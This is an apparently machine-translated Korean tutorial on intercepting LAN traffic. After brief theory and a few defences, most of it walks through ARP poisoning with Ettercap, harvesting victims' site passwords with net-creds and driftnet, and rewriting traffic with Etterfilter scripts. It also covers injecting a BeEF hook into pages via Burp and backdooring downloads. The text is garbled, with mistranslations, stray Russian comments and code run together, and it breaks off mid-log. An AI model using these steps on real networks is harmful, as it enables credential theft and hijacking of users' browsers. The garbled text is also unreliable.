해커는 이를 사용하여 트래픽을 리디렉션합니다. 해커 공격 방법. Burp를 이용한 데이터 스푸핑

네트워크 트래픽을 가로채는 방법

네트워크 분석기 프로그램을 사용하여 네트워크를 청취하는 것이 가장 먼저, 가장 간단한 방법으로데이터 가로채기.

네트워크 도청을 방지하려면 다음을 사용하십시오. 특별 프로그램예를 들어 네트워크 트래픽을 수신하는 네트워크의 컴퓨터를 식별할 수 있는 AntiSniff가 있습니다.

문제를 해결하기 위해 스니퍼 방지 프로그램은 네트워크에 청취 장치가 있다는 특수 표시를 사용합니다. 스니퍼 컴퓨터의 네트워크 카드는 특수 청취 모드에 있어야 합니다. 수신 모드에 있는 동안 네트워크 컴퓨터는 테스트 중인 호스트로 전송된 IP 데이터그램에 특별한 방식으로 반응합니다. 예를 들어, 수신 호스트는 일반적으로 호스트 주소로 전송된 데이터그램뿐만 아니라 들어오는 모든 트래픽을 처리합니다. AntiSniff가 인식할 수 있는 의심스러운 호스트 동작을 나타내는 다른 징후가 있습니다.

의심할 바 없이, 도청은 공격자의 관점에서 매우 유용합니다. 이를 통해 네트워크를 통해 전송된 비밀번호, 네트워크 컴퓨터의 주소, 기밀 데이터, 편지 등 많은 유용한 정보를 얻을 수 있기 때문입니다. 그러나 단순한 도청으로는 해커가 데이터를 수정하고 손상시키기 위해 두 호스트 간의 네트워크 통신을 방해할 수 없습니다. 이러한 문제를 해결하려면 더욱 복잡한 기술이 필요합니다.

두 호스트 A와 B 사이의 네트워크 상호 작용 프로세스를 가로채서 장악하기 위해 공격자는 위조된 ARP(주소 확인 프로토콜) 메시지를 호스트 A와 B에 보내 상호 작용하는 호스트의 IP 주소를 자신의 IP 주소로 바꿀 수 있습니다.

쌀. 1개의 잘못된 ARP 요청

해커가 ARP를 사용하여 호스트 A와 B 간의 네트워크 통신을 가로채는 방법을 살펴보겠습니다.

호스트 A와 B 사이의 네트워크 트래픽을 가로채기 위해 해커는 이러한 호스트에 자신의 IP 주소를 부여하여 A와 B가 메시지를 교환할 때 이 위조된 IP 주소를 사용하도록 합니다. 자신의 IP 주소를 강요하기 위해 해커는 다음 작업을 수행합니다.

  • 공격자는 예를 들어 W2RK 패키지의 nbtstat 명령을 사용하여 호스트 A와 B의 MAC 주소를 확인합니다.
  • 공격자는 확인된 호스트 A와 B의 MAC 주소로 메시지를 보냅니다. 이는 호스트의 IP 주소를 컴퓨터의 MAC 주소로 확인하라는 요청에 대한 위조된 ARP 응답입니다. 호스트 A는 호스트 B의 IP 주소가 공격자 컴퓨터의 MAC 주소와 일치한다는 알림을 받습니다. 호스트 B는 호스트 A의 IP 주소가 공격자 컴퓨터의 MAC 주소와 일치한다는 알림을 받습니다.
  • 호스트 A와 B는 수신한 MAC 주소를 ARP 캐시에 저장한 후 이를 사용하여 서로에게 메시지를 보냅니다. IP 주소 A와 B는 공격자 컴퓨터의 MAC 주소와 일치하므로 호스트 A와 B는 자신의 메시지로 무엇이든 할 수 있는 중개자를 통해 통신합니다.

이러한 공격으로부터 보호하려면 네트워크 관리자는 네트워크 컴퓨터의 MAC 주소와 IP 주소 간의 대응 테이블을 사용하여 데이터베이스를 유지 관리해야 합니다.

UNIX 네트워크에서 이러한 유형의 스푸핑된 ARP 요청 공격은 네트워크 트래픽을 모니터링하고 관리하는 시스템 유틸리티(예: arpredirect)를 사용하여 구현할 수 있습니다. 불행하게도 이러한 안정적인 유틸리티는 Windows 네트워크에서 구현되지 않는 것 같습니다. 예를 들어, NTsecurity 웹 사이트에서는 네트워크 호스트 간 트래픽을 리디렉션하는 도구로 제공되는 GrabitAII 유틸리티를 다운로드할 수 있습니다. 그러나 GrabitAII 유틸리티의 기능에 대한 기본 점검을 통해 해당 기능 구현의 완전한 성공이 아직 멀었음을 알 수 있습니다.

네트워크 트래픽을 가로채기 위해 공격자는 위조된 ICMP 리디렉션 메시지 등을 사용하여 자신의 IP 주소로 네트워크 라우터의 실제 IP 주소를 스푸핑할 수 있습니다. 호스트 A는 RFC-1122에 따라 수신된 리디렉션 메시지를 다른 호스트(예: B)로 전송된 데이터그램에 대한 응답으로 인식해야 합니다. 호스트 A는 수신된 리디렉션 메시지의 내용을 기반으로 리디렉션 메시지에 대한 작업을 결정합니다. 그리고 새로운 경로를 따라 A에서 B로 리디렉션에 데이터그램 리디렉션이 지정된 경우 이것이 바로 호스트 A가 수행하는 작업입니다.

쌀. 2 잘못된 라우팅

잘못된 라우팅을 수행하려면 공격자가 조직에 대한 몇 가지 세부 정보를 알아야 합니다. 지역 네트워크, 특히 호스트 A가 위치한 라우터의 IP 주소는 호스트 A에서 B로 트래픽이 전송되는 라우터의 IP 주소입니다. 이를 알고 공격자는 보낸 사람의 IP 주소가 라우터의 IP로 정의된 IP 데이터그램을 생성합니다. 주소이며 수신자는 호스트 A로 지정됩니다. 또한 데이터그램에는 공격자 컴퓨터의 IP 주소로 설정된 새 라우터의 주소 필드가 있는 ICMP 리디렉션 메시지도 포함되어 있습니다. 이러한 메시지를 받은 호스트 A는 모든 메시지를 공격자 컴퓨터의 IP 주소로 보냅니다.

이러한 공격으로부터 보호하려면 호스트 A에서 ICMP 리디렉션 메시지 처리를 비활성화(예: 방화벽 사용)해야 하며, Tracert 명령(Unix에서는 Tracerout 명령)을 사용하여 공격자 컴퓨터의 IP 주소를 밝힐 수 있습니다. . 물론 이러한 유틸리티는 네트워크 관리자가 경계하지 않는 한 설치 중에 제공되지 않은 로컬 네트워크에 나타나는 추가 경로를 찾을 수 있습니다.

위의 차단 예(공격자의 능력이 크게 제한되지 않음)는 데이터에 기밀 정보가 포함되어 있는 경우 네트워크를 통해 전송되는 데이터를 보호해야 할 필요성을 확신시켜 줍니다. 네트워크 트래픽 가로채기를 방지하는 유일한 방법은 암호화 알고리즘과 암호화 프로토콜을 구현하고 비밀 정보의 공개 및 대체를 방지하는 프로그램을 사용하는 것입니다. 이러한 문제를 해결하기 위해 암호화는 보안 프로토콜을 통해 전송되는 메시지의 신뢰성을 암호화, 서명 및 확인하는 수단을 제공합니다.

정보 교환을 보호하기 위한 모든 암호화 방법의 실제 구현은 다음에서 제공됩니다. VPN 네트워크(가상 사설망 - 가상 사설망).

TCP 연결 차단

가장 정교한 네트워크 트래픽 차단 공격은 해커가 TCP 패킷을 생성하여 공격 대상 호스트에 전송함으로써 호스트와의 현재 통신 세션을 중단하는 TCP 연결 캡처(TCP 하이재킹)로 간주되어야 합니다. 다음으로, 해커는 중단된 TCP 연결을 복원하는 TCP 프로토콜의 기능을 사용하여 중단된 통신 세션을 가로채서 연결이 끊긴 클라이언트 대신 계속 진행합니다.

TCP 연결 하이재킹 공격을 수행하기 위해 여러 가지 효과적인 유틸리티가 만들어졌지만 모두 Unix 플랫폼용으로 구현되었으며 웹 사이트에서는 이러한 유틸리티가 소스 코드 형식으로만 제공됩니다. 따라서 TCP 연결 하이재킹 공격은 거의 쓸모가 없습니다.

TCP 프로토콜(Transmission Control Protocol)은 기본 전송 프로토콜 중 하나입니다. OSI 레벨, 가상 통신 채널을 통해 논리적 연결을 설정할 수 있습니다. 이 채널을 통해 패킷은 순서가 기록된 상태로 전송 및 수신되고, 패킷의 흐름이 제어되며, 왜곡된 패킷의 재전송이 구성되고, 세션이 끝나면 통신 채널이 끊어집니다. TCP가 유일한 프로토콜이다 기본 프로토콜고급 메시지 식별 및 연결 시스템을 갖춘 TCP/IP 제품군입니다.

소프트웨어 패킷 스니퍼 개요

모든 소프트웨어 스니퍼는 두 가지 범주로 나눌 수 있습니다. 명령줄, 그래픽 인터페이스를 사용하여 스니퍼합니다. 그러나 우리는 이 두 가지 기능을 결합한 스니퍼가 있다는 점에 주목합니다. 또한 스니퍼는 지원하는 프로토콜, 가로채는 패킷의 분석 깊이, 필터 구성 기능 및 다른 프로그램과의 호환성 가능성이 서로 다릅니다.

일반적으로 모든 스니퍼의 창에는 그래픽 인터페이스세 가지 영역으로 구성되어 있습니다. 그 중 첫 번째는 가로채는 패킷의 요약 데이터를 표시합니다. 일반적으로 이 영역에는 다음과 같은 최소 필드가 표시됩니다. 패킷 차단 시간; 패킷 발신자와 수신자의 IP 주소 패킷의 발신자와 수신자의 MAC 주소, 소스 및 대상 포트 주소 프로토콜 유형(네트워크, 전송 또는 애플리케이션 계층) 가로채는 데이터에 대한 일부 요약 정보입니다. 두 번째 영역에는 선택한 개별 패키지에 대한 통계 정보가 표시되고, 마지막으로 세 번째 영역에는 패키지가 16진수 또는 ASCII 문자 형식으로 표시됩니다.

거의 모든 패킷 스니퍼를 사용하면 디코딩된 패킷을 분석할 수 있습니다(이것이 패킷 스니퍼를 패킷 분석기 또는 프로토콜 분석기라고도 함). 스니퍼는 가로채는 패킷을 계층과 프로토콜 전체에 분산시킵니다. 일부 패킷 스니퍼는 프로토콜을 인식하고 캡처된 정보를 표시할 수 있습니다. 이러한 유형의 정보는 일반적으로 스니퍼 창의 두 번째 영역에 표시됩니다. 예를 들어, 모든 스니퍼는 TCP 프로토콜을 인식할 수 있으며 고급 스니퍼는 어떤 애플리케이션이 이 트래픽을 생성했는지 확인할 수 있습니다. 대부분의 프로토콜 분석기는 500개 이상의 서로 다른 프로토콜을 인식하고 이름으로 설명하고 디코딩할 수 있습니다. 스니퍼가 디코딩하여 화면에 표시할 수 있는 정보가 많을수록 수동으로 디코딩해야 하는 정보가 줄어듭니다.

패킷 스니퍼가 직면할 수 있는 한 가지 문제는 기본 포트가 아닌 다른 포트를 사용하여 프로토콜을 올바르게 식별할 수 없다는 것입니다. 예를 들어 보안을 강화하기 위해 일부 잘 알려진 응용 프로그램은 기본 포트가 아닌 다른 포트를 사용하도록 구성될 수 있습니다. 따라서 웹 서버용으로 예약된 기존 포트 80 대신 이 서버포트 8088 또는 다른 포트로 강제로 재구성할 수 있습니다. 이 상황에서 일부 패킷 분석기는 프로토콜을 올바르게 결정하지 못하고 하위 수준 프로토콜(TCP 또는 UDP)에 대한 정보만 표시할 수 없습니다.

차단된 트래픽에 대한 유용한 분석 정보가 포함된 보고서를 생성할 수 있는 플러그인 또는 내장 모듈로 소프트웨어 분석 모듈과 함께 제공되는 소프트웨어 스니퍼가 있습니다.

대부분의 소프트웨어 패킷 분석기의 또 다른 특징은 트래픽 캡처 전후에 필터를 구성하는 기능입니다. 필터는 특정 기준에 따라 일반 트래픽에서 특정 패킷을 선택하므로 트래픽 분석 시 불필요한 정보를 제거할 수 있습니다.

Ettercap의 대안

Ettercap은 가장 인기 있는 중간자 공격 소프트웨어이지만 이것이 최고일까요? 전체 지침을 통해 Ettercap은 거의 단독으로 사용되지 않으며 하나 또는 다른 프로그램이 트래픽 처리 체인에서 항상 Ettercap과 함께 구축된다는 것을 알 수 있습니다. 아마도 이로 인해 유연성이 추가될 것입니다. 일반적으로 이 접근 방식은 UNIX의 기본입니다. 하나의 프로그램이 하나의 작업을 수행하고 최종 사용자는 원하는 결과를 얻기 위해 다양한 프로그램을 결합합니다. 이 접근 방식을 사용하면 프로그램 코드를 유지 관리하기가 더 쉬워집니다. 이러한 소형 "브릭"을 사용하면 복잡하고 유연한 시스템을 구축할 수 있습니다. 그러나 서로 다른 작업을 수행하는 5개의 개방형 콘솔을 사용하는 경우 프로그램이 하나의 단일 결과를 달성하는 것을 목표로 하는 작업은 그다지 편리하지 않고 더 복잡하며 어떤 단계에서 실수할 가능성이 있으며 전체가 구성됩니다. 시스템은 헛되이 작동할 것입니다.

Net-Creds 스니핑:

  • 방문한 URL
  • POST 요청이 전송되었습니다.
  • HTTP 양식의 로그인/비밀번호
  • 기본 HTTP 인증을 위한 로그인/비밀번호
  • HTTP 조회
  • FTP 로그인/비밀번호
  • IRC 로그인/비밀번호
  • POP 로그인/비밀번호
  • IMAP 로그인/비밀번호
  • 텔넷 로그인/비밀번호
  • SMTP 로그인/비밀번호
  • SNMP 커뮤니티 문자열
  • HTTP, SMB, LDAP 등과 같은 모든 지원되는 NTLMv1/v2 프로토콜
  • 케르베로스

가로채는 이미지를 잘 선택하면, Driftnet은 이 점에서 더 간단합니다. 가로채는 이미지만 표시합니다.

기기를 전달 모드로 전환하세요.

에코 "1" > /proc/sys/net/ipv4/ip_forward

그래픽 인터페이스(-G)를 사용하여 Ettercap을 시작합니다.

에테르캡-G

이제 호스트를 선택하면 호스트 검색 하위 항목이 있습니다. 검색이 완료되면 호스트 목록을 선택합니다.

Target1로 라우터를 선택하고(대상 1에 추가), Target2로 공격할 장치를 선택합니다(대상 2에 추가).

그러나 특히 호스트가 많은 경우 첫 번째 장애가 발생할 수 있습니다. 위에 제시된 비디오를 포함한 다양한 지침에서 작성자는 대상 컴퓨터(어떤 이유로든 Windows가 있음)로 올라가 명령을 사용하여 로컬 네트워크에서 이 컴퓨터의 IP를 확인합니다. 동의하세요. 이 옵션은 실제 조건에서는 허용되지 않습니다.

를 사용하여 스캔하면 일부를 얻을 수 있습니다. 추가 정보호스트 정보, 보다 정확하게는 네트워크 카드 제조업체 정보:

Nmap -sn 192.168.1.0/24

데이터가 여전히 충분하지 않으면 스캔을 수행하여 OS를 확인할 수 있습니다.

Nmap -O 192.168.1.0/24

보시다시피 IP 192.168.1.33을 사용하는 시스템은 Windows로 판명되었습니다. 이것이 위에서 나온 신호가 아니라면 무엇입니까? 😉 ㅋㅋㅋ

이것이 우리가 두 번째 목표로 추가하는 것입니다.

이제 Mitm 메뉴 항목으로 이동하십시오. 거기에서 ARP 중독을 선택하십시오. 스니프 원격 연결 확인란을 선택하십시오.

우리는 수확을 시작합니다. 하나의 창에서 우리는 시작합니다

순신용

다른 프로그램(두 프로그램 모두 옵션 없이 실행 가능)

드리프트넷

데이터 수집이 즉시 시작되었습니다.

오른쪽에는 Driftnet이 가로채는 이미지를 보여주는 또 다른 창을 열었습니다. net-creds 창에는 방문한 사이트와 가로채는 비밀번호가 표시됩니다.

1.2 Ettercap + Burp Suite
3. Ettercap에서 데이터(방문한 사이트 및 캡처된 비밀번호)를 봅니다.

보기 메뉴에서는 연결 및 프로필 탭에 액세스할 수 있습니다. IP 주소 확인 상자를 선택할 수도 있습니다. 연결은 물론 연결입니다. Ettercap은 검색한 각 호스트에 대해 메모리에 프로필을 수집합니다. 사용자와 비밀번호가 여기에 수집됩니다. 이 경우 캡처된 계정 데이터(비밀번호)가 있는 프로필에는 십자 표시가 표시됩니다.

프로필에 너무 많이 의존할 필요는 없습니다. 예를 들어, FTP 및 기타 서비스에 대해 가로채는 로그인과 비밀번호가 표시되어 프로그램이 자격 증명으로 수신된 정보를 명확하게 해석할 수 있습니다. 예를 들어 기본 인증 데이터, 로그인 및 웹 양식에 입력된 비밀번호는 여기에 포함되지 않습니다.

Connections에서 가장 유망한 데이터는 별표로 표시됩니다.

다음 항목을 두 번 클릭하면 세부 정보를 볼 수 있습니다.

목록 전체에서 이러한 별을 검색하지 않으려면 이 필드를 기준으로 정렬하면 모두 상단이나 하단에 표시됩니다.

기본 인증 포착:

Yandex의 로그인 비밀번호(아래 강조 표시됨):

VKontakte에 대해 가로채는 자격 증명은 다음과 같습니다.

또한 가장 흥미로운 데이터는 하단 콘솔에 수집됩니다.

프로그램 결과를 저장하려면 다음 옵션을 사용하십시오(Ettercap을 시작할 때 키를 지정하십시오:

로깅 옵션: -w, --write 캡처된 데이터를 pcapfile에 기록 -L, --log 모든 트래픽을 이 -l에 기록, --log-info 이 객체에 수동 정보만 기록 -m, --log-msg 모든 메시지 기록 이 -c에서 --compress는 로그 파일에 gzip 압축을 사용합니다.

4. Ettercap의 즉각적인 데이터 대체
4.1 Ettercap 사용자 정의 필터 사용

참고: 모든 테스트에도 불구하고 Ettercap 필터는 여전히 나에게 적합하지 않았습니다. 손의 문제인지, 하드웨어 기능의 문제인지, 프로그램 자체의 오류인지 이해하기 힘든데... 그런데 0.8.2 버전(현재 최신)의 경우 필터 문제에 대한 버그 리포트가 있습니다. 일반적으로 버그 보고서와 포럼으로 판단하면 필터가 자주 떨어지거나 오랫동안 전혀 작동하지 않았습니다. 5개월 전에 https://github.com/Ettercap/ettercap/tree/filter-improvements가 변경된 지점이 있습니다. 필터 개선(필터 개선 포함). 이 브랜치와 저장소 버전 모두에 대해 다양한 테스트가 이루어졌고 다양한 조건에서 다양한 필터가 테스트되었으며 많은 시간이 소요되었지만 결과가 없었습니다. 그런데 Kali Linux에 필터 개선 버전을 설치하려면 다음을 수행해야 합니다.

Sudo apt-get ettercap-graphical ettercap-common 제거 sudo apt-get install git debhelper bison check cmake flex ghostscript libbsd-dev libcurl4-openssl-dev libgtk2.0-dev libltdl-dev libluajit-5.1-dev libncurses5-dev libnet1-dev libpcap-dev libpcre3-dev libssl-dev libgtk-3-dev ghostscript groff libtool libpcre3 libncurses5-dev git clone -b filter-improvements https://github.com/Ettercap/ettercap.git cd ettercap/ mkdir 빌드 cd 빌드 cmake ENABLE_PDF_DOCS =On ../ make sudo make install

일반적으로 필터가 작동하지 않으면 혼자가 아닙니다. Ettercap에 대한 지침에서 필터 주제를 건너뛸 수 없으므로 어떤 경우에도 필터에 대해 논의하겠습니다.

지금까지 우리는 ARP 스푸핑을 위해 Ettercap을 사용해 왔습니다. 이것은 매우 피상적인 적용입니다. 맞춤 필터 덕분에 우리는 즉석에서 트래픽을 개입하고 변경할 수 있습니다. 필터는 별도의 파일에 포함되어야 하며 사용하기 전에 Etterfilter 프로그램을 사용하여 컴파일해야 합니다. 링크가 제공되는 문서가 부족해 보이지만 아래에 제공된 예와 결합하면 매우 흥미로운 필터를 작성할 수 있습니다.

첫 번째 필터를 만들어 보겠습니다. 모든 이미지가 다음으로 대체됩니다.

img_replacer.filter라는 파일에서 다음을 복사합니다.

If (ip.proto == TCP && tcp.dst == 80) ( if (search(DATA.data, "Accept-Encoding")) ( replacement("Accept-Encoding", "Accept-Rubbish!"); # 참고: 대체 문자열은 원래 msg("zapped Accept-Encoding!\n"); ) ) if (ip.proto == TCP && tcp.src == 80) ( replacement("src=" , " src=\"http://www.irongeek.com/images/jollypwn.png\" "); replacement("SRC=", "src=\"http://www.irongeek.com/images/ jollypwn.png\" "); 교체("src =", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); 교체("SRC =", "src= \" http://www.irongeek.com/images/jollypwn.png\" "); msg("필터 랜.\n"); )

파일을 컴파일합니다.

Etterfilter img_replacer.filter -o img_replacer.ef

컴파일 결과:

Etterfilter 0.8.2 저작권 2001-2015 Ettercap 개발 팀 14개 프로토콜 테이블 로드됨: DECODED DATA udp tcp esp gre icmp ipv6 ip arp wifi fddi tr eth 13개 상수 로드됨: VRRP OSPF GRE UDP TCP ESP ICMP6 ICMP PPTP PPPOE IP6 IP ARP 구문 분석 소스 파일 "img_replacer.filter"가 완료되었습니다. 메타트리 전개가 완료되었습니다. 라벨을 실제 오프셋으로 변환하는 작업이 완료되었습니다. "img_replacer.ef"에 출력 쓰기가 완료되었습니다. -> 18개의 명령어로 인코딩된 스크립트입니다.

-F 스위치는 스위치 뒤에 오는 파일에서 필터를 로드하도록 프로그램에 지시합니다. 컴파일 후 필터가 포함된 새 파일의 이름은 img_replacer.ef이므로 명령의 형식은 다음과 같습니다.

Ettercap -G -F img_replacer.ef

참고: 웹 트래픽을 모니터링할 때 표시되는 패킷은 암호화된 형식일 수 있습니다. 을 위한 효율적인 작업필터, Ettercap에는 다음 형식의 트래픽이 필요합니다. 일반 텍스트. 일부 관찰에 따르면 웹 페이지에서 사용하는 인코딩 유형은 "Accept-Encoding: gzip, deflate"입니다.

다음은 인코딩을 덮어쓰고 일반 텍스트 형식으로 통신을 강제하는 필터입니다.

If (ip.proto == TCP && tcp.dst == 80) ( if (search(DATA.data, "gzip")) ( replacement("gzip", " "); # 참고: 대체된 문자열에 공백 4개가 있습니다. msg ("whited out gzip\n"); ) ) if (ip.proto == TCP && tcp.dst == 80) ( if (search(DATA.data, "deflate")) ( replacement("deflate", " "); # 참고: 대체된 줄에 7개의 공백 msg("whited out deflate\n"); ) )

필터 작성 구문에 대해 자세히 설명하고 몇 가지 예를 더 제시합니다.

# 패킷의 텍스트 바꾸기: if (ip.proto == TCP && search(DATA.data, "lol"))( replacement("lol", "smh"); msg("filter ran"); ) # 표시 message , tcp 포트가 22인 경우 if (ip.proto == TCP) ( if (tcp.src == 22 || tcp.dst == 22) ( msg("SSH packet\n"); ) ) # 적어둡니다 전체 텔넷 트래픽을 처리하려면 각 패킷에 대해 ./program도 실행합니다. if (ip.proto == TCP) ( if (tcp.src == 23 || tcp.dst == 23) ( log(DATA.data, "./ logfile.log "); exec("./program"); ​​​​) ) # http를 제외한 모든 트래픽을 기록합니다. if (ip.proto == TCP && tcp.src != 80 && tcp.dst != 80) ( log (DATA.data , "./logfile.log"); ) # 패킷 페이로드에 대한 일부 작업 if (DATA.data + 20 == 0x4142) ( DATA.data + 20 = 0x4243; ) else ( DATA.data = " 수정됨"; DATA .data + 20 = 0x4445; ) # "ettercap"을 포함하는 모든 패킷을 삭제합니다. if (search(DECODED.data, "ettercap")) ( msg("어떤 사람이 우리에 대해 이야기하고 있습니다...\n") ; drop( ); kill(); ) # 정규식과 일치하는 해독된 SSH 패킷을 기록합니다. if (ip.proto == TCP) ( if (tcp.src == 22 || tcp.dst == 22) ( if (regex(DECODED.data, ".*login.*")) ( log(DECODED.data, "./decrypted_log"); ) ) # 패킷 종료 if (ip.ttl< 5) { msg("The packet will die soon\n"); } # то же самое для IPv6, но делая тривиальный тест убеждаемся, что перед нами действительно IPv6 пакеты if (eth.proto == IP6 && ipv6.hl < 5) { msg("The IPv6 packet will die soon\n"); } # сравнение строки на данный сдвиг if (DATA.data + 40 == "ette") { log(DATA.data, "./logfile"); } # вставить файл после указанного пакета if (tcp.src == 21 && search(DATA.data, "root")) { inject("./fake_response"); } # целиком заменить пакет на другой if (tcp.src == 23 && search(DATA.data, "microsoft")) { drop(); inject("./fake_telnet"); } # Изменение бинарных данных используя внешнюю программу if (udp.dst == 53 && pcre_regex(DATA.data, ".*\x03com\x00.*")) { log(DATA.data, "/tmp/payload"); drop(); execinject("/bin/sed "s/\x03com\x00/\x02my\x04page\x02de\x00/g" /tmp/payload"); udp.len += 7; exec("/bin/rm /tmp/payload"); msg("faked"); } # фильтровать только указанный IP адрес if (ip.src == "192.168.0.2") { drop(); } # делать то же самое для IPv6 if (ipv6.src == "2001:db8::1") { drop(); } # комбинируем IPv4 и IPv6 if (eth.proto == IP && ip.dst == "192.168.0.2") { msg("drop IPv4"); drop(); } if (eth.proto == IP6 && ipv6.dst == "2001:db8::1") { msg("drop IPv6"); drop(); } # транслировать tcp пакеты с порта 80 на 81 if (tcp.dst == 80) { tcp.dst -= 1; tcp.dst += 2; } # найти и покалечить пакеты ESP if (ip.proto == ESP) { DATA.data = "DEADDECAF"; }

4.2 Burp를 이용한 데이터 대체

우리는 1.2절이나 2.2절에 설명된 대로 Ettercap과 Burp를 시작합니다.

Burp에서 프록시 -> 옵션으로 이동합니다. 거기에서 일치(Match)와 바꾸기(Replace)를 찾습니다. 새 규칙을 추가하려면 추가를 클릭하세요.

  • 요청 헤더는 요청 헤더입니다.
  • 요청 본문 - 요청 본문
  • 응답 헤더 - 응답 헤더
  • 응답 본문 - 응답 본문
  • 요청 매개변수 이름 - 요청 매개변수 이름
  • 요청 매개변수 값 - 요청 매개변수 값
  • 첫 번째 줄 요청 - 요청의 첫 번째 줄

GET 메소드로 전송된 데이터를 변경해야 하는 경우 이는 헤더에 적용됩니다.

HTML 마크업에는 head(head 태그)라는 것도 있습니다. 위에서 언급한 내용은 이 제목과 관련이 없습니다. 조금 더 높게 우리는 패킷 헤더에 대해 이야기합니다. 내용을 변경하고 싶다면 HTML 페이지, 헤드 태그의 내용(예: 제목)을 변경하려는 경우에도 항상 요청 헤더 대신 응답 본문을 선택해야 합니다.

익숙하지 않은 경우 정규 표현식, 그러면 원칙적으로 걱정할 것이 없습니다. HTML은 많은 것을 용서하고 이해하지 못하는 것은 단순히 무시합니다. 사용할 수 있습니다. 정규식을 사용하는 방법을 알고 계시다면 존경합니다.)))

예를 들어 요청 헤더를 응답 본문으로 변경하는 새 규칙을 만들어 보겠습니다. 규칙 자체에서 우리는 바뀔 것입니다

.*

제목 없음

정규식 일치 상자를 확인하세요.

이제 HTTPS가 없는 모든 사이트에서 제목은 제목 없음이 됩니다.

body 태그 뒤에 임의의 줄을 삽입합니다(텍스트의 첫 번째 줄이 됩니다). 요청 헤더가 응답 본문으로 변경되었습니다. 우리는 변화한다

정규식 일치 상자를 확인하세요.

레이아웃에 따라 오른쪽 상단에 "I am Cool!"이라는 문구가 나타납니다. CSS, JavaScript 코드, 텍스트 등 무엇이든 삽입할 수 있습니다. 일반적으로 페이지에서 모든 내용을 제거한 다음 자신만의 콘텐츠로 채울 수 있습니다. 이는 모두 여러분의 상상력에 달려 있습니다.

데이터가 원래 서버와 공격자의 서버로 전송되도록 각 양식을 약간 수정하는 것이 아이디어였습니다(각 양식에 대해 다중 제출 구현). 그러나 전송된 데이터가 암호화되지 않았고 이에 액세스할 수 있다면 이미 데이터를 볼 수 있으므로 서버로 보낼 필요가 없다고 판단했습니다. 그러나 누군가가 한 양식에서 여러 서버로 한 번에 데이터를 보내는 실제로 작동하는 예가 필요한 경우.

5. BeEF 연결

BeEF의 기능을 사용하려면 HTML 코드에 일반적으로 다음과 같은 JavaScript 파일을 포함해야 합니다.

다음 두 가지 방법은 이 문자열을 삽입하는 방법만 다릅니다.

5.1 Ettercap 필터를 사용하여 BeEF 연결

[나중에 준비할 부분]

5.2 Burp를 사용하여 BeEF 연결하기

4.2항에 명시된 대로 정확하게 시작해야 합니다. 헤더를 교체하고 사이트에 텍스트를 추가하는 대신 다음과 같은 줄 형태로 JavaScript 코드를 구현합니다.

제 경우에는 이 파일을 IP 192.168.1.36, 포트 3000에서 사용할 수 있습니다. 파일 이름은 Hook.js입니다(설정에서 변경 가능). 저것들. 내 경우에는 다음 줄을 삽입해야 합니다.

예를 들어 새 규칙을 생성하고 요청 헤더를 응답 본문으로 변경하면 됩니다. 교체는 HTML 코드 자체에서 이루어져야 합니다.

좋습니다. HTTPS가 없는 웹사이트를 열면 JavaScript 코드가 HTML 코드에 삽입됩니다. 이를 통해 연결된 브라우저를 통해 정보를 수집하고 다양한 공격을 수행할 수 있습니다.

6. 백도어 감염

어떤 이유로 더 이상 작동하지 않는 Ettercap 필터와 다음을 사용하여 실행 파일을 교체하고 감염시킬 수 있습니다. 타사 애플리케이션. 예를 들어 BDFProxy는 이를 즉시 수행할 수 있습니다. 안타깝게도 BDFProxy는 2016년 4월 Backdoor Factory 업데이트로 인해 여전히 불안해하고 있습니다. libmproxy 패키지는 Python에서 mitmproxy로 이름이 변경되었습니다. BDFProxy의 경우 libmproxy 패키지는 필수 종속성이므로 이 패키지가 없으면 프로그램이 시작되지 않습니다. 따라서 이제 BDFProxy를 "수리"하기 전에는 Backdoor Factory를 설치했음에도 BDFProxy 프로그램이 libmproxy 라이브러리가 없다고 불평하기 때문에 이를 사용할 수 없습니다...

Burp Suite에서도 유사한 작업을 수행할 수 있습니다. 단계별 알고리즘이 제시되므로 이 섹션에서 다시 작성하는 것은 의미가 없습니다.

7. Ettercap 플러그인 사용

Ettercap 플러그인에 대한 정보를 찾을 수 있습니다. 꽤 많은 플러그인이 있는데, 아래에 설명된 플러그인이 가장 흥미로운 것 같습니다.

Ettercap이 시작되면 플러그인을 연결할 수 있으며 이에 대한 옵션이 있습니다:

P, --plugin 실행

플러그인은 GUI에서도 로드할 수 있습니다.

[준비중인 재료]

7.1 arp_cop

ARP 요청/응답을 수동적으로 모니터링하여 의심스러운 ARP 활동을 보고합니다. ARP 중독 시도나 단순한 IP 충돌 또는 IP 변경을 보고할 수 있습니다. 초기 호스트 목록을 작성하는 경우 플러그인이 더 정확하게 작동합니다.

Ettercap -TQP arp_cop //

ARP 스푸핑의 실제 탐지 예:

확장하다

Mial@HackWare-Mint ~ $ sudo ettercap -TQP arp_cop // mial의 비밀번호: ettercap 0.8.2 copyright 2001-2015 Ettercap 개발팀 청취: eth0 -> 08:00:27:A3:08:4A 192.168.1.36/ 255.255.255.0 fe80::a00:27ff:fea3:84a/64 SSL 분석에는 etter.conf 파일에 유효한 "redir_command_on" 스크립트가 필요합니다. 권한은 EUID 65534 EGID 65534... 33개 플러그인 42개 프로토콜 분석기 57개 포트 모니터링됨 20530 mac 공급업체 지문 1766 tcp OS 지문 알려진 서비스 2182개 스캔을 위해 255개의 호스트를 무작위로 지정 중... 255개 호스트에 대한 전체 넷마스크를 스캔하는 중... * |====== =============== =============================>

Mial@HackWare-Mint ~ $ sudo ettercap -TQP arp_cop // mial의 비밀번호: ettercap 0.8.2 copyright 2001-2015 Ettercap 개발팀 청취: eth0 -> 08:00:27:A3:08:4A 192.168.1.36/ 255.255.255.0 fe80::a00:27ff:fea3:84a/64 SSL 분석에는 etter.conf 파일에 유효한 "redir_command_on" 스크립트가 필요합니다. 권한은 EUID 65534 EGID 65534... 33개 플러그인 42개 프로토콜 분석기 57개 포트 모니터링됨 20530 mac 공급업체 지문 1766 tcp OS 지문 알려진 서비스 2182개 스캔을 위해 255개의 호스트를 무작위로 지정 중... 255개 호스트에 대한 전체 넷마스크를 스캔하는 중... * |====== =============== ============================>| 100.00 % 3개의 호스트가 호스트 목록에 추가되었습니다... 통합 스니핑 시작 중... 텍스트 전용 인터페이스 활성화됨... 인라인 도움말을 보려면 "h"를 누르십시오. arp_cop 플러그인 활성화 중... arp_cop: 플러그인 실행 중... arp_cop: (새 호스트 ) 192.168.1.1 arp_cop: (경고) 192.168.1.35는 192.168.1.1인 척합니다 arp_cop: (경고) 192.168.1.35는 192.168.1.1인 척합니다 arp_cop: (경고) 192.168.1.35 s를 가장합니다 192.168.1.1 arp_cop이어야 합니다: ( 경고) 192.168.1.35는 192.168.1.1인 